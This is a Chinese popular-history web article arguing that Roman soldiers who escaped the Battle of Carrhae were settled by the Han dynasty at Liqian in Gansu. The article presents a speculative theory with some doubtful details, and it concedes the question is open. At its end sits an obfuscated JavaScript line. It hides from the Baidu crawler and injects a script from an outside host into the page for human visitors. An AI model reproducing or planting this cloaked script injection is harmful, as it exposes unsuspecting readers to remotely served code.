当前位置:首页 > 历史 > 战史风云 > 正文

古罗马失踪军团为何会出现在中国?

2017-04-29 11:21:47  来源:360常识网   热度:
导语:甘肃省永昌县城南10千米处的者来寨村,中国西汉元帝时期曾在这里设置骊罢城,用来安置古罗马帝国降人。人们也许会问,古代中国从未和罗马帝

甘肃省永昌县城南10千米处的者来寨村,中国西汉元帝时期曾在这里设置骊罢城,用来安置古罗马帝国降人。人们也许会问,古代中国从未和罗马帝国交战,罗马降人从何而来?这是一件历史悬案,为揭开世界上一桩重大历史悬案,史学家们为此而苦苦探索近2000年。

公元前53年发生的一场惨烈的古代战争是这一历史悬案的发源之处,当时正是中国西汉甘露元年。罗马帝国当时的执政官名叫克拉苏,他纠集了7个军团,大约4.5万人的兵力,发动了对安息(今伊朗)的侵略战争。然而,让不可一世的罗马军队没想到的是,在一个做卡尔莱的地方,他们出人意料地遭到安息军队的围歼,首领克拉苏竟然被俘斩首。最后,其第一军团首领,克拉苏的长子普布利乌斯,率领6000余众拼死突围。

事情过去30多年后,公元前20年,古罗马帝国和安息签约言和。此后,很自然地罗马帝国要求安息遣返33年前在卡尔莱战役中被俘虏的军人,并希望寻找当年突围出去的普布利乌斯的下落。可是,普布利乌斯及其所率突围残部,已在安息消失得无影无踪。这一疑团一直困惑着罗马乃至全世界的历史学家。罗马溃军到底去了什么地方?

20世纪40年代,一位名叫德效谦的英国著名汉学家对这一课题做过大量工作,引起了人们的注意。德效谦于1947年撰写的《古代中国之骊罢城》一文。该文开宗明义:中国古代称罗马帝国为“骊罢”,后又改称“大秦”,《后汉书.大秦传》就是以“大秦国-名犁霸”这句话起首的。文章接着指出中国古代以外国名命名的城,当时只有新疆的库车和温宿,它们都是袭用移民的旧称。“骊罢”城的出现也与有外国侨民有一定关系。作者进而引用了不少史料进行说明,公元前20年是有记载以来骊罢城最早出现在中国西汉的版图上,这一时间点正好与罗马帝国向安息要求遣返战俘的时间相统一。如果说这是历史的巧合似乎不大可能。这一发现指向了一个猜测:在卡尔莱战役中突围的罗马远征军,正当其故国寻觅他们的时候,他们却早已鬼差神使地到了中国,并在祁连山下落脚了。

根据那篇文章提供的历史线索,中外学者又查阅了大量相关史书,终于从班固所著《汉书.陈汤传》中获得重要启示。据此书记载,西汉西域都护甘延寿和副校尉陈汤,带领4万多名将士讨伐郅支单于,战于郅支城(今哈萨克斯坦江布尔城)时,在这里见到了一支奇特的军队,那里正好是公元前36年。“土城外有重木城”拱卫,其“步兵百余人,夹门鱼鳞阵,讲习用兵”。而书中描绘的这种构筑“重木城”防御工事和用圆形盾牌连成鱼鳞连成防御阵式,正是古罗马军队最典型的阵式。由此,史学家们推断,这支奇特的军队,很可能就是卡尔莱战役中突围失踪17年的罗马军队的残部。

《汉书》上说,陈汤率领的汉军攻克“重木城”,以“生虏百四十五人,降虏千余人”而告胜。西汉王朝军队在这次郅支战役中大捷。依据这一重要史料,学者们逐渐拨开了历史迷雾,理清了那支古罗马军队残部的踪迹,即普布利乌斯率领的逃亡大军,在安息军队围堵、封锁而回国无路的情况下,辗转安息高原,寻找东进机会,终于在防御松懈的安息东部防线,撕开一道口子,逃奔到中亚,后又投奔郅支,最后被陈汤收降,带回了中国。汉元帝为此下诏将他们安置在番禾县南的照面山下(今永昌县),并置县骊罢。直到公元592年,鉴于骊罢人已和汉族人融合,隋文帝下诏将骊罢县并入番禾县。至此,骊罢县共612年,中国的骊罢人就这样在历史的风雨沧桑中悄然消失。

至此,公元前53年,罗马帝国大军入侵伊朗,遭到伊朗军队围歼,6000余罗马军队突围,逃至现今的哈萨克斯坦,后为西汉陈汤收降,带回中国,安置在永昌县。这一完整的历史链条已经摆在了人们面前。那么历史的真相是否像历史学家们拼凑出的一样呢?随着更多详实史料的逐渐发掘,相信这一谜团还会有更新的结论呈现。?

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}